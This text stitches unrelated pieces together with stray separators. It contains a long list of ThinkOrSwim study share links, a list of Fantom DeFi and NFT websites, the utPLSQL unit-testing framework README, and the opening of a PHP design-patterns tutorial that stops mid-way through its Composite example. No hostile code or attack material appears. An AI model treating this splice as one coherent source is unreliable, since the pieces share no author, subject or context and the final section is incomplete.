* http://tos.mx/8IOz0d – Hybrid ADX Oscillator
* http://tos.mx/gpAHVo – Compare implied and historical volatility
* http://tos.mx/5RglOc – Automatic Ambush Fibonacci Lines
* http://tos.mx/staJxH – Scalpers Channel Lines Study
* http://tos.mx/E1mUna – TRINdicator upper indicator
* http://tos.mx/sUYZQe – TRINdicator lower indicator
* http://tos.mx/WyTVNr – Price Oscillator
* http://tos.mx/PV4qsd – Advance Decline Subpanel
* http://tos.mx/26RFRS – TICK subpanel
* http://tos.mx/YVN8Ld – TRIN cloud subpanel
* http://tos.mx/rEeCen – Smooth CCI lower study
* http://tos.mx/DeG8KV – Standard Deviations chart study upper
* http://tos.mx/DUZDmM
* http://tos.mx/NhP0sl
* http://tos.mx/yVruCn
* http://tos.mx/ZbnRy4
* http://tos.mx/HPPszc
* http://tos.mx/upLe4A
* http://tos.mx/qxiOHy
* http://tos.mx/NCImLq
* http://tos.mx/40pf00
* http://tos.mx/v0vYZd
* http://tos.mx/GfISyz
* http://tos.mx/TTNql7
* http://tos.mx/BA4lre
* http://tos.mx/2NuXCR
* http://tos.mx/3hrCFl
* http://tos.mx/yzefQi
* http://tos.mx/vTuhvW
* http://tos.mx/I4PNN5
* http://tos.mx/e25ZJl
* http://tos.mx/OqCdN5
* http://tos.mx/SnACKr
* http://tos.mx/SnACKr
* http://tos.mx/2NuXCR
* http://tos.mx/zeAlsQ
* http://tos.mx/hT2e3M
* http://tos.mx/zpXFi0
* http://tos.mx/npjeNL
* http://tos.mx/8ewB8Q
* http://tos.mx/Wu94qa
* http://tos.mx/QGyhbj
* http://tos.mx/zQ6P90
* http://tos.mx/RKfPQW
* http://tos.mx/ZDjng8
* http://tos.mx/GfISyz
* http://tos.mx/GCmJeV
* http://tos.mx/gEAxhK
* http://tos.mx/NOR22H
* http://tos.mx/Eqjf7S
* http://tos.mx/F3uXgv
* http://tos.mx/efI2EX
* http://tos.mx/yGUo11
* http://tos.mx/iJ8weg
* http://tos.mx/PHC0uy
* http://tos.mx/qsluLt
* http://tos.mx/KzmR5E
* http://tos.mx/Is31p9
* http://tos.mx/d9slfB
* http://tos.mx/A3sgHB
* http://tos.mx/26BvNm
* http://tos.mx/OXyWGT
* http://tos.mx/hGGaN9
* http://tos.mx/mEVIqF
* http://tos.mx/lZdFsj
* http://tos.mx/A9GycW
* http://tos.mx/dcQPdE
* http://tos.mx/X094cx
* http://tos.mx/y7xP1x
* http://tos.mx/nKN9il
* http://tos.mx/QNfOwj
* http://tos.mx/yBmYfF
* http://tos.mx/CPwrrF
* http://tos.mx/Inwq67
* http://tos.mx/R2PuSR
* http://tos.mx/TOLooZ
* http://tos.mx/EafI2x
* http://tos.mx/iXm5Zm
* http://tos.mx/kGquYz
* http://tos.mx/FTK84P
* http://tos.mx/JcO0Fu
* http://tos.mx/9P5nMg
* http://tos.mx/9DLtyy
* http://tos.mx/Nt31oY
* http://tos.mx/ScHw7X
* http://tos.mx/4Nuwql – simple fractal pivots
* http://tos.mx/8Sfklw
* http://tos.mx/ScHw7X
* http://tos.mx/7QzDVk
* http://tos.mx/8qUbMc
* http://tos.mx/Ycptqa
* http://tos.mx/K6Guak
* http://tos.mx/BF4jZy
* http://tos.mx/JR6bmJ
* http://tos.mx/YzZlHY
* http://tos.mx/6ongRD
* http://tos.mx/oYNGlf
* http://tos.mx/7Yegds
* http://tos.mx/X7B5a8
* http://tos.mx/BkOO7N
* http://tos.mx/A61mpy
* http://tos.mx/tebQUX
* http://tos.mx/dJgTjh
* http://tos.mx/LZgDjH
* http://tos.mx/bbVk7y
* http://tos.mx/vHhzS9
* http://tos.mx/0HoCVM
* http://tos.mx/XJOfQS
* http://tos.mx/V22OlO
* http://tos.mx/H55fJK
* http://tos.mx/EafI2x
* http://tos.mx/Egjg6K
* http://tos.mx/DzQTO3
* http://tos.mx/rivQ6I
* http://tos.mx/MuOsZX
* http://tos.mx/8aBtYv
* http://tos.mx/Jh2pTE
* http://tos.mx/WEGYxC
* http://tos.mx/2Lyqnt
* http://tos.mx/Gf5jWD
* http://tos.mx/Iy8hKH
* http://tos.mx/cLiGLq
* http://tos.mx/hv8hVf
* http://tos.mx/uFEagF
* http://tos.mx/FBHHT4
* http://tos.mx/RX6Bxm
* http://tos.mx/mcsJH1
* http://tos.mx/WBylFJ
* http://tos.mx/qpKrO7
* http://tos.mx/x0zfGt
* http://tos.mx/iALIrf
* http://tos.mx/ET6hvs
* http://tos.mx/zU1b1T
* http://tos.mx/kWJJD4
* http://tos.mx/4Nuwql
* http://tos.mx/CDbLzQ – Companies with Female CEOs from TNASherrod
* http://tos.mx/6ukgJB
* http://tos.mx/1XyUB2
* http://tos.mx/uIi7sC
* http://tos.mx/6IlMBw
* http://tos.mx/ZD66MX
* http://tos.mx/AdiGdk
* http://tos.mx/L4O3LZ
* http://tos.mx/nYkCrM
* http://tos.mx/O27TAt
* http://tos.mx/xqVPc9
* http://tos.mx/oSOAg5
* http://tos.mx/991uyR
* http://tos.mx/uWbicV
* http://tos.mx/lqD8d0
* http://tos.mx/fp6vKQ
* http://tos.mx/mEEmLV
* http://tos.mx/1XyUB2
* http://tos.mx/yNteOp
* http://tos.mx/QNMRSp
* http://tos.mx/GQr3sV
* http://tos.mx/5OghaJ
* http://tos.mx/I7pq6i
* http://tos.mx/CqIAZd
* http://tos.mx/43abXO
* http://tos.mx/tMAOzA
* http://tos.mx/Sh0KAf
* http://tos.mx/tDkrSE
* http://tos.mx/wjLHeE
* http://tos.mx/qShvp5
* http://tos.mx/AWwM4I
* http://tos.mx/cV2VCR
* http://tos.mx/pYj2WJ
* http://tos.mx/zzhBRD
* http://tos.mx/hz2WBd
* http://tos.mx/JPHf0f
* http://tos.mx/KwNIIc
* http://tos.mx/TQSAVh
* http://tos.mx/WP7mBx
* http://tos.mx/s7sg5S
* http://tos.mx/xxFu8X
* http://tos.mx/Jiea7j
* http://tos.mx/rdRUvt
* http://tos.mx/Hp8IeR
* http://tos.mx/YQ7z0L
* http://tos.mx/PKDtbn
* http://tos.mx/l7ox0B
* http://tos.mx/fIH5JZ
* http://tos.mx/0ZnlcN
* http://tos.mx/YjATWx
* http://tos.mx/chn8QV
* http://tos.mx/HdUhnP
* http://tos.mx/TO4llT
* http://tos.mx/ZR7BfU
* http://tos.mx/u2Srym
# Crypto & NFTs
## FTM ECO
* https://spookyswap.finance/ (BOO/xBOO)
* https://swap.spiritswap.finance/ (Spirit/Inspirit)
* https://waka.finance/
* https://elk.finance/
* https://paintswap.finance/ (NFT)
## Chart
* https://charts.zoocoin.cash/
* https://kek.tools/
## Leverage
* https://www.tarot.to/
* https://scream.sh/
* https://app.cream.finance/
## Yield
* https://fantom.beefy.finance/
* https://www.reaper.farm/
* https://ftm.curve.fi/
* https://stakesteak.com/
* https://app.grim.finance/
* https://www.robo-vault.com/
* https://paintswap.finance/
* https://www.liquiddriver.finance/
* https://fbomb.finance/
* https://app.tosdis.finance/farming
* https://hyperjump.fi/
* https://totemfinance.app/
* https://www.babyboo.cc/
## NFTs
* https://gantomst.one/
* https://www.worldofumans.com/
* http://officialnftees.com/
* https://foracle.art/
* https://www.fantums.com/
* https://babydao.finance/nft
## Trading
* https://unidex.exchange/
|
----------
[](https://www.apache.org/licenses/LICENSE-2.0)
[](https://github.com/utPLSQL/utPLSQL/releases)
[](http://gra.caldis.me/?url=https://github.com/utPLSQL/utPLSQL)
[](https://join.slack.com/t/utplsql/shared_invite/zt-xwm68udy-4cF_3PNEyczYEbWr38W5ww)
[](https://twitter.com/utPLSQL)
[](https://github.com/utPLSQL/utPLSQL/actions/workflows/build.yml)
[](https://sonarcloud.io/summary/new_code?id=utPLSQL)
[](https://sonarcloud.io/summary/new_code?id=utPLSQL)
----------
utPLSQL version 3 is a complete rewrite of utPLSQL v2 from scratch.
Version 2 still supports older versions of Oracle that are no longer available.
The community that had developed on GitHub decided that a new internal architecture was needed, from that version 3 was born.
# Introduction
utPLSQL is a Unit Testing framework for Oracle PL/SQL and SQL.
The framework follows industry standards and best patterns of modern Unit Testing frameworks like [JUnit](http://junit.org/junit4/) and [RSpec](http://rspec.info/)
# Key features
- multiple ways to compare data with [matchers](docs/userguide/expectations.md)
- native comparison of complex types (objects/collections/cursors)
- in-depth and consistent reporting of failures and errors for tests
- tests identified and configured by [annotations](docs/userguide/annotations.md)
- hierarchies of test suites configured with annotations
- automatic (configurable) transaction control
- Build-in [coverage](docs/userguide/coverage.md) reporting
- Integration with SonarQube, Coveralls, Jenkins and Teamcity with [reporters](docs/userguide/reporters.md)
- plugin architecture for reporters and matchers
- flexible and simple test invocation
- multi-reporting from test-run from [command line](https://github.com/utPLSQL/utPLSQL-cli)
Requirements:
- Version of Oracle under [extended support](http://www.oracle.com/us/support/library/lifetime-support-technology-069183.pdf) (Currently 11.2 and above)
# Download
Published releases are available for download on the [utPLSQL GitHub Releases Page.](https://github.com/utPLSQL/utPLSQL/releases)
# Documentation
Full documentation of the project is automatically published on [utPLSQL github pages](https://utplsql.github.io/utPLSQL/)
[Cheat-sheets](https://www.cheatography.com/jgebal/lists/utplsql-v3-cheat-sheets/)
# Installation
To install the utPLSQL into a new database schema and grant it to public, execute the script `install_headless.sql`.
This will create a new user `UT3`, grant all required privileges to that user and create PUBLIC synonyms needed.
For detailed instructions on other install options see the [Install Guide](docs/userguide/install.md)
# Running tests
To execute using development IDE (TOAD/SQLDeveloper/PLSQLDeveloper/other) use one of following commands.
```sql
begin
ut.run();
end;
/
```
```sql
exec ut.run();
```
```sql
select * from table(ut.run());
```
The above commands will run all the suites in the current schema and provide report to dbms_output or as a select statement.
# Command line client
You can use the utPLSQL command line client [utPLSQL-cli](https://github.com/utPLSQL/utPLSQL-cli) to run tests without the need for Oracle Client or any IDE like SQLDeveloper/TOAD etc.
Amongst many benefits it provides ability to:
* see the progress of test execution for long-running tests - real-time reporting
* use many reporting formats simultaneously and save reports to files (publish)
* map your project source files and test files into database objects
Download the [latest client](https://github.com/utPLSQL/utPLSQL-cli/releases/latest) and are good to go.
See [project readme](https://github.com/utPLSQL/utPLSQL-cli/blob/develop/README.md) for details.
# Example unit test packages
**For examples of using Continuous Integration Server & SonarCloud with utPLSQL see the [utPLSQL demo project](https://github.com/utPLSQL/utPLSQL-demo-project/).**
The below test package is a fully-functional Unit Test package for testing a [`betwnstr` function](examples/between_string/betwnstr.sql).
The package specification is [annotated](docs/userguide/annotations.md) with special comments.
The annotations define that a package is a unit test suite, they also allow defining a description for the suite as well as the test itself.
The package body consists of procedures containing unit test code. To validate [an expectation](docs/userguide/expectations.md) in test, use `ut.expect( actual_data ).to_( ... )` syntax.
```sql
create or replace package test_between_string as
-- %suite(Between string function)
-- %test(Returns substring from start position to end position)
procedure normal_case;
-- %test(Returns substring when start position is zero)
procedure zero_start_position;
-- %test(Returns string until end if end position is greater than string length)
procedure big_end_position;
-- %test(Returns null for null input string value)
procedure null_string;
end;
/
create or replace package body test_between_string as
procedure normal_case is
begin
ut.expect( betwnstr( '1234567', 2, 5 ) ).to_( equal('2345') );
end;
procedure zero_start_position is
begin
ut.expect( betwnstr( '1234567', 0, 5 ) ).to_( equal('12345') );
end;
procedure big_end_position is
begin
ut.expect( betwnstr( '1234567', 0, 500 ) ).to_( equal('1234567') );
end;
procedure null_string is
begin
ut.expect( betwnstr( null, 2, 5 ) ).to_( be_null );
end;
end;
/
```
Outputs from running the above tests
```
Between string function
Returns substring from start position to end position
Returns substring when start position is zero
Returns string until end if end position is greater than string length
Returns null for null input string value
Finished in .036027 seconds
4 tests, 0 failures
```
# Contributing to the project
We welcome new developers to join our community and contribute to the utPLSQL project.
If you are interested in helping please read our [guide to contributing](CONTRIBUTING.md)
The best place to start is to read the documentation and get familiar with the existing code base.
A [slack chat](https://utplsql.slack.com/) is the place to go if you want to talk with team members.
To sign up to the chat use [this link](https://join.slack.com/t/utplsql/shared_invite/zt-xwm68udy-4cF_3PNEyczYEbWr38W5ww).
----------
[__Authors__](docs/about/authors.md)
----------
__Project Directories__
* .github - contains files needed for github Actions integration
* .travis - contains files needed for travis-ci integration
* client_source - Sources to be used on the client-side. Developer workstation or CI platform to run the tests.
* development - Set of useful scripts and utilities for development and debugging of utPLSQL
* docs - Documentation of the project
* examples - Example source code and unit tests
* source - The installation code for utPLSQL
* tests - Tests for utPLSQL framework
----------
If you have a great feature in mind, that you would like to see in utPLSQL v3 please create an [issue on GitHub](https://github.com/utPLSQL/utPLSQL/issues) or discuss it with us in the [slack chat rooms](https://utplsql.slack.com/). Use [invite link](https://join.slack.com/t/utplsql/shared_invite/zt-xwm68udy-4cF_3PNEyczYEbWr38W5ww) to join the chat.
# Version 2 to Version 3 Comparison
[Version 2 to Version 3 Comparison](docs/compare_version2_to_3.md)
# Supporters
The utPLSQL project is community-driven and is not commercially motivated. Nonetheless, donations and other contributions are always welcome, and are detailed below.
<table>
<tbody>
<tr>
<td><a href="https://www.red-gate.com/hub/events/open-source-projects" rel="nofollow"><img src="docs/images/supported_by_redgate_100.png" alt="supported_by_redgate" style="max-width:100%;"></a></td>
<td>utPLSQL has been supported by Redgate in the form of sponsored stickers and t-shirts. Thank you for helping us spreading the word!</td>
</tr>
</tbody>
</table>
|
<br>
<p align="center">
<img src="./.github/banner.svg" height="150px" />
</p>
***
<p align="center">
🎉 Ultra-simplified explanation to design patterns! 🎉
</p>
<p align="center">
A topic that can easily make anyone's mind wobble. Here I try to make them stick in to your<br> mind (and maybe mine) by explaining them in the <i>simplest</i> way possible.
</p>
***
<sub>Check out my [other project](http://roadmap.sh) and say "hi" on [Twitter](https://twitter.com/kamranahmedse).</sub>
<br>
|[Creational Design Patterns](#creational-design-patterns)|[Structural Design Patterns](#structural-design-patterns)|[Behavioral Design Patterns](#behavioral-design-patterns)|
|:-|:-|:-|
|[Simple Factory](#-simple-factory)|[Adapter](#-adapter)|[Chain of Responsibility](#-chain-of-responsibility)|
|[Factory Method](#-factory-method)|[Bridge](#-bridge)|[Command](#-command)|
|[Abstract Factory](#-abstract-factory)|[Composite](#-composite)|[Iterator](#-iterator)|
|[Builder](#-builder)|[Decorator](#-decorator)|[Mediator](#-mediator)|
|[Prototype](#-prototype)|[Facade](#-facade)|[Memento](#-memento)|
|[Singleton](#-singleton)|[Flyweight](#-flyweight)|[Observer](#-observer)|
||[Proxy](#-proxy)|[Visitor](#-visitor)|
|||[Strategy](#-strategy)|
|||[State](#-state)|
|||[Template Method](#-template-method)|
<br>
Introduction
=================
Design patterns are solutions to recurring problems; **guidelines on how to tackle certain problems**. They are not classes, packages or libraries that you can plug into your application and wait for the magic to happen. These are, rather, guidelines on how to tackle certain problems in certain situations.
> Design patterns are solutions to recurring problems; guidelines on how to tackle certain problems
Wikipedia describes them as
> In software engineering, a software design pattern is a general reusable solution to a commonly occurring problem within a given context in software design. It is not a finished design that can be transformed directly into source or machine code. It is a description or template for how to solve a problem that can be used in many different situations.
⚠️ Be Careful
-----------------
- Design patterns are not a silver bullet to all your problems.
- Do not try to force them; bad things are supposed to happen, if done so.
- Keep in mind that design patterns are solutions **to** problems, not solutions **finding** problems; so don't overthink.
- If used in a correct place in a correct manner, they can prove to be a savior; or else they can result in a horrible mess of a code.
> Also note that the code samples below are in PHP-7, however this shouldn't stop you because the concepts are same anyways.
Types of Design Patterns
-----------------
* [Creational](#creational-design-patterns)
* [Structural](#structural-design-patterns)
* [Behavioral](#behavioral-design-patterns)
Creational Design Patterns
==========================
In plain words
> Creational patterns are focused towards how to instantiate an object or group of related objects.
Wikipedia says
> In software engineering, creational design patterns are design patterns that deal with object creation mechanisms, trying to create objects in a manner suitable to the situation. The basic form of object creation could result in design problems or added complexity to the design. Creational design patterns solve this problem by somehow controlling this object creation.
* [Simple Factory](#-simple-factory)
* [Factory Method](#-factory-method)
* [Abstract Factory](#-abstract-factory)
* [Builder](#-builder)
* [Prototype](#-prototype)
* [Singleton](#-singleton)
🏠 Simple Factory
--------------
Real world example
> Consider, you are building a house and you need doors. You can either put on your carpenter clothes, bring some wood, glue, nails and all the tools required to build the door and start building it in your house or you can simply call the factory and get the built door delivered to you so that you don't need to learn anything about the door making or to deal with the mess that comes with making it.
In plain words
> Simple factory simply generates an instance for client without exposing any instantiation logic to the client
Wikipedia says
> In object-oriented programming (OOP), a factory is an object for creating other objects – formally a factory is a function or method that returns objects of a varying prototype or class from some method call, which is assumed to be "new".
**Programmatic Example**
First of all we have a door interface and the implementation
```php
interface Door
{
public function getWidth(): float;
public function getHeight(): float;
}
class WoodenDoor implements Door
{
protected $width;
protected $height;
public function __construct(float $width, float $height)
{
$this->width = $width;
$this->height = $height;
}
public function getWidth(): float
{
return $this->width;
}
public function getHeight(): float
{
return $this->height;
}
}
```
Then we have our door factory that makes the door and returns it
```php
class DoorFactory
{
public static function makeDoor($width, $height): Door
{
return new WoodenDoor($width, $height);
}
}
```
And then it can be used as
```php
// Make me a door of 100x200
$door = DoorFactory::makeDoor(100, 200);
echo 'Width: ' . $door->getWidth();
echo 'Height: ' . $door->getHeight();
// Make me a door of 50x100
$door2 = DoorFactory::makeDoor(50, 100);
```
**When to Use?**
When creating an object is not just a few assignments and involves some logic, it makes sense to put it in a dedicated factory instead of repeating the same code everywhere.
🏭 Factory Method
--------------
Real world example
> Consider the case of a hiring manager. It is impossible for one person to interview for each of the positions. Based on the job opening, she has to decide and delegate the interview steps to different people.
In plain words
> It provides a way to delegate the instantiation logic to child classes.
Wikipedia says
> In class-based programming, the factory method pattern is a creational pattern that uses factory methods to deal with the problem of creating objects without having to specify the exact class of the object that will be created. This is done by creating objects by calling a factory method—either specified in an interface and implemented by child classes, or implemented in a base class and optionally overridden by derived classes—rather than by calling a constructor.
**Programmatic Example**
Taking our hiring manager example above. First of all we have an interviewer interface and some implementations for it
```php
interface Interviewer
{
public function askQuestions();
}
class Developer implements Interviewer
{
public function askQuestions()
{
echo 'Asking about design patterns!';
}
}
class CommunityExecutive implements Interviewer
{
public function askQuestions()
{
echo 'Asking about community building';
}
}
```
Now let us create our `HiringManager`
```php
abstract class HiringManager
{
// Factory method
abstract protected function makeInterviewer(): Interviewer;
public function takeInterview()
{
$interviewer = $this->makeInterviewer();
$interviewer->askQuestions();
}
}
```
Now any child can extend it and provide the required interviewer
```php
class DevelopmentManager extends HiringManager
{
protected function makeInterviewer(): Interviewer
{
return new Developer();
}
}
class MarketingManager extends HiringManager
{
protected function makeInterviewer(): Interviewer
{
return new CommunityExecutive();
}
}
```
and then it can be used as
```php
$devManager = new DevelopmentManager();
$devManager->takeInterview(); // Output: Asking about design patterns
$marketingManager = new MarketingManager();
$marketingManager->takeInterview(); // Output: Asking about community building.
```
**When to use?**
Useful when there is some generic processing in a class but the required sub-class is dynamically decided at runtime. Or putting it in other words, when the client doesn't know what exact sub-class it might need.
🔨 Abstract Factory
----------------
Real world example
> Extending our door example from Simple Factory. Based on your needs you might get a wooden door from a wooden door shop, iron door from an iron shop or a PVC door from the relevant shop. Plus you might need a guy with different kind of specialities to fit the door, for example a carpenter for wooden door, welder for iron door etc. As you can see there is a dependency between the doors now, wooden door needs carpenter, iron door needs a welder etc.
In plain words
> A factory of factories; a factory that groups the individual but related/dependent factories together without specifying their concrete classes.
Wikipedia says
> The abstract factory pattern provides a way to encapsulate a group of individual factories that have a common theme without specifying their concrete classes
**Programmatic Example**
Translating the door example above. First of all we have our `Door` interface and some implementation for it
```php
interface Door
{
public function getDescription();
}
class WoodenDoor implements Door
{
public function getDescription()
{
echo 'I am a wooden door';
}
}
class IronDoor implements Door
{
public function getDescription()
{
echo 'I am an iron door';
}
}
```
Then we have some fitting experts for each door type
```php
interface DoorFittingExpert
{
public function getDescription();
}
class Welder implements DoorFittingExpert
{
public function getDescription()
{
echo 'I can only fit iron doors';
}
}
class Carpenter implements DoorFittingExpert
{
public function getDescription()
{
echo 'I can only fit wooden doors';
}
}
```
Now we have our abstract factory that would let us make family of related objects i.e. wooden door factory would create a wooden door and wooden door fitting expert and iron door factory would create an iron door and iron door fitting expert
```php
interface DoorFactory
{
public function makeDoor(): Door;
public function makeFittingExpert(): DoorFittingExpert;
}
// Wooden factory to return carpenter and wooden door
class WoodenDoorFactory implements DoorFactory
{
public function makeDoor(): Door
{
return new WoodenDoor();
}
public function makeFittingExpert(): DoorFittingExpert
{
return new Carpenter();
}
}
// Iron door factory to get iron door and the relevant fitting expert
class IronDoorFactory implements DoorFactory
{
public function makeDoor(): Door
{
return new IronDoor();
}
public function makeFittingExpert(): DoorFittingExpert
{
return new Welder();
}
}
```
And then it can be used as
```php
$woodenFactory = new WoodenDoorFactory();
$door = $woodenFactory->makeDoor();
$expert = $woodenFactory->makeFittingExpert();
$door->getDescription(); // Output: I am a wooden door
$expert->getDescription(); // Output: I can only fit wooden doors
// Same for Iron Factory
$ironFactory = new IronDoorFactory();
$door = $ironFactory->makeDoor();
$expert = $ironFactory->makeFittingExpert();
$door->getDescription(); // Output: I am an iron door
$expert->getDescription(); // Output: I can only fit iron doors
```
As you can see the wooden door factory has encapsulated the `carpenter` and the `wooden door` also iron door factory has encapsulated the `iron door` and `welder`. And thus it had helped us make sure that for each of the created door, we do not get a wrong fitting expert.
**When to use?**
When there are interrelated dependencies with not-that-simple creation logic involved
👷 Builder
--------------------------------------------
Real world example
> Imagine you are at Hardee's and you order a specific deal, lets say, "Big Hardee" and they hand it over to you without *any questions*; this is the example of simple factory. But there are cases when the creation logic might involve more steps. For example you want a customized Subway deal, you have several options in how your burger is made e.g what bread do you want? what types of sauces would you like? What cheese would you want? etc. In such cases builder pattern comes to the rescue.
In plain words
> Allows you to create different flavors of an object while avoiding constructor pollution. Useful when there could be several flavors of an object. Or when there are a lot of steps involved in creation of an object.
Wikipedia says
> The builder pattern is an object creation software design pattern with the intentions of finding a solution to the telescoping constructor anti-pattern.
Having said that let me add a bit about what telescoping constructor anti-pattern is. At one point or the other we have all seen a constructor like below:
```php
public function __construct($size, $cheese = true, $pepperoni = true, $tomato = false, $lettuce = true)
{
}
```
As you can see; the number of constructor parameters can quickly get out of hand and it might become difficult to understand the arrangement of parameters. Plus this parameter list could keep on growing if you would want to add more options in future. This is called telescoping constructor anti-pattern.
**Programmatic Example**
The sane alternative is to use the builder pattern. First of all we have our burger that we want to make
```php
class Burger
{
protected $size;
protected $cheese = false;
protected $pepperoni = false;
protected $lettuce = false;
protected $tomato = false;
public function __construct(BurgerBuilder $builder)
{
$this->size = $builder->size;
$this->cheese = $builder->cheese;
$this->pepperoni = $builder->pepperoni;
$this->lettuce = $builder->lettuce;
$this->tomato = $builder->tomato;
}
}
```
And then we have the builder
```php
class BurgerBuilder
{
public $size;
public $cheese = false;
public $pepperoni = false;
public $lettuce = false;
public $tomato = false;
public function __construct(int $size)
{
$this->size = $size;
}
public function addPepperoni()
{
$this->pepperoni = true;
return $this;
}
public function addLettuce()
{
$this->lettuce = true;
return $this;
}
public function addCheese()
{
$this->cheese = true;
return $this;
}
public function addTomato()
{
$this->tomato = true;
return $this;
}
public function build(): Burger
{
return new Burger($this);
}
}
```
And then it can be used as:
```php
$burger = (new BurgerBuilder(14))
->addPepperoni()
->addLettuce()
->addTomato()
->build();
```
**When to use?**
When there could be several flavors of an object and to avoid the constructor telescoping. The key difference from the factory pattern is that; factory pattern is to be used when the creation is a one step process while builder pattern is to be used when the creation is a multi step process.
🐑 Prototype
------------
Real world example
> Remember dolly? The sheep that was cloned! Lets not get into the details but the key point here is that it is all about cloning
In plain words
> Create object based on an existing object through cloning.
Wikipedia says
> The prototype pattern is a creational design pattern in software development. It is used when the type of objects to create is determined by a prototypical instance, which is cloned to produce new objects.
In short, it allows you to create a copy of an existing object and modify it to your needs, instead of going through the trouble of creating an object from scratch and setting it up.
**Programmatic Example**
In PHP, it can be easily done using `clone`
```php
class Sheep
{
protected $name;
protected $category;
public function __construct(string $name, string $category = 'Mountain Sheep')
{
$this->name = $name;
$this->category = $category;
}
public function setName(string $name)
{
$this->name = $name;
}
public function getName()
{
return $this->name;
}
public function setCategory(string $category)
{
$this->category = $category;
}
public function getCategory()
{
return $this->category;
}
}
```
Then it can be cloned like below
```php
$original = new Sheep('Jolly');
echo $original->getName(); // Jolly
echo $original->getCategory(); // Mountain Sheep
// Clone and modify what is required
$cloned = clone $original;
$cloned->setName('Dolly');
echo $cloned->getName(); // Dolly
echo $cloned->getCategory(); // Mountain sheep
```
Also you could use the magic method `__clone` to modify the cloning behavior.
**When to use?**
When an object is required that is similar to existing object or when the creation would be expensive as compared to cloning.
💍 Singleton
------------
Real world example
> There can only be one president of a country at a time. The same president has to be brought to action, whenever duty calls. President here is singleton.
In plain words
> Ensures that only one object of a particular class is ever created.
Wikipedia says
> In software engineering, the singleton pattern is a software design pattern that restricts the instantiation of a class to one object. This is useful when exactly one object is needed to coordinate actions across the system.
Singleton pattern is actually considered an anti-pattern and overuse of it should be avoided. It is not necessarily bad and could have some valid use-cases but should be used with caution because it introduces a global state in your application and change to it in one place could affect in the other areas and it could become pretty difficult to debug. The other bad thing about them is it makes your code tightly coupled plus mocking the singleton could be difficult.
**Programmatic Example**
To create a singleton, make the constructor private, disable cloning, disable extension and create a static variable to house the instance
```php
final class President
{
private static $instance;
private function __construct()
{
// Hide the constructor
}
public static function getInstance(): President
{
if (!self::$instance) {
self::$instance = new self();
}
return self::$instance;
}
private function __clone()
{
// Disable cloning
}
private function __wakeup()
{
// Disable unserialize
}
}
```
Then in order to use
```php
$president1 = President::getInstance();
$president2 = President::getInstance();
var_dump($president1 === $president2); // true
```
Structural Design Patterns
==========================
In plain words
> Structural patterns are mostly concerned with object composition or in other words how the entities can use each other. Or yet another explanation would be, they help in answering "How to build a software component?"
Wikipedia says
> In software engineering, structural design patterns are design patterns that ease the design by identifying a simple way to realize relationships between entities.
* [Adapter](#-adapter)
* [Bridge](#-bridge)
* [Composite](#-composite)
* [Decorator](#-decorator)
* [Facade](#-facade)
* [Flyweight](#-flyweight)
* [Proxy](#-proxy)
🔌 Adapter
-------
Real world example
> Consider that you have some pictures in your memory card and you need to transfer them to your computer. In order to transfer them you need some kind of adapter that is compatible with your computer ports so that you can attach memory card to your computer. In this case card reader is an adapter.
> Another example would be the famous power adapter; a three legged plug can't be connected to a two pronged outlet, it needs to use a power adapter that makes it compatible with the two pronged outlet.
> Yet another example would be a translator translating words spoken by one person to another
In plain words
> Adapter pattern lets you wrap an otherwise incompatible object in an adapter to make it compatible with another class.
Wikipedia says
> In software engineering, the adapter pattern is a software design pattern that allows the interface of an existing class to be used as another interface. It is often used to make existing classes work with others without modifying their source code.
**Programmatic Example**
Consider a game where there is a hunter and he hunts lions.
First we have an interface `Lion` that all types of lions have to implement
```php
interface Lion
{
public function roar();
}
class AfricanLion implements Lion
{
public function roar()
{
}
}
class AsianLion implements Lion
{
public function roar()
{
}
}
```
And hunter expects any implementation of `Lion` interface to hunt.
```php
class Hunter
{
public function hunt(Lion $lion)
{
$lion->roar();
}
}
```
Now let's say we have to add a `WildDog` in our game so that hunter can hunt that also. But we can't do that directly because dog has a different interface. To make it compatible for our hunter, we will have to create an adapter that is compatible
```php
// This needs to be added to the game
class WildDog
{
public function bark()
{
}
}
// Adapter around wild dog to make it compatible with our game
class WildDogAdapter implements Lion
{
protected $dog;
public function __construct(WildDog $dog)
{
$this->dog = $dog;
}
public function roar()
{
$this->dog->bark();
}
}
```
And now the `WildDog` can be used in our game using `WildDogAdapter`.
```php
$wildDog = new WildDog();
$wildDogAdapter = new WildDogAdapter($wildDog);
$hunter = new Hunter();
$hunter->hunt($wildDogAdapter);
```
🚡 Bridge
------
Real world example
> Consider you have a website with different pages and you are supposed to allow the user to change the theme. What would you do? Create multiple copies of each of the pages for each of the themes or would you just create separate theme and load them based on the user's preferences? Bridge pattern allows you to do the second i.e.
In Plain Words
> Bridge pattern is about preferring composition over inheritance. Implementation details are pushed from a hierarchy to another object with a separate hierarchy.
Wikipedia says
> The bridge pattern is a design pattern used in software engineering that is meant to "decouple an abstraction from its implementation so that the two can vary independently"
**Programmatic Example**
Translating our WebPage example from above. Here we have the `WebPage` hierarchy
```php
interface WebPage
{
public function __construct(Theme $theme);
public function getContent();
}
class About implements WebPage
{
protected $theme;
public function __construct(Theme $theme)
{
$this->theme = $theme;
}
public function getContent()
{
return "About page in " . $this->theme->getColor();
}
}
class Careers implements WebPage
{
protected $theme;
public function __construct(Theme $theme)
{
$this->theme = $theme;
}
public function getContent()
{
return "Careers page in " . $this->theme->getColor();
}
}
```
And the separate theme hierarchy
```php
interface Theme
{
public function getColor();
}
class DarkTheme implements Theme
{
public function getColor()
{
return 'Dark Black';
}
}
class LightTheme implements Theme
{
public function getColor()
{
return 'Off white';
}
}
class AquaTheme implements Theme
{
public function getColor()
{
return 'Light blue';
}
}
```
And both the hierarchies
```php
$darkTheme = new DarkTheme();
$about = new About($darkTheme);
$careers = new Careers($darkTheme);
echo $about->getContent(); // "About page in Dark Black";
echo $careers->getContent(); // "Careers page in Dark Black";
```
🌿 Composite
-----------------
Real world example
> Every organization is composed of employees. Each of the employees has the same features i.e. has a salary, has some responsibilities, may or may not report to someone, may or may not have some subordinates etc.
In plain words
> Composite pattern lets clients treat the individual objects in a uniform manner.
Wikipedia says
> In software engineering, the composite pattern is a partitioning design pattern. The composite pattern describes that a group of objects is to be treated in the same way as a single instance of an object. The intent of a composite is to "compose" objects into tree structures to represent part-whole hierarchies. Implementing the composite pattern lets clients treat individual objects and compositions uniformly.
**Programmatic Example**
Taking our employees example from above. Here we have different employee types
```php
interface Employee
{
public function __construct(string $name, float $salary);
public function getName(): string;
public function setSalary(float $salary);
public function getSalary(): float;
public function getRoles(): array;
}
class Developer implements Employee
{
protected $salary;
protected $name;
protected $roles;
public function __construct(string $name, float $salary)
{
$this->name = $name;
$this->salary = $salary;
}
public function getName(): string
{
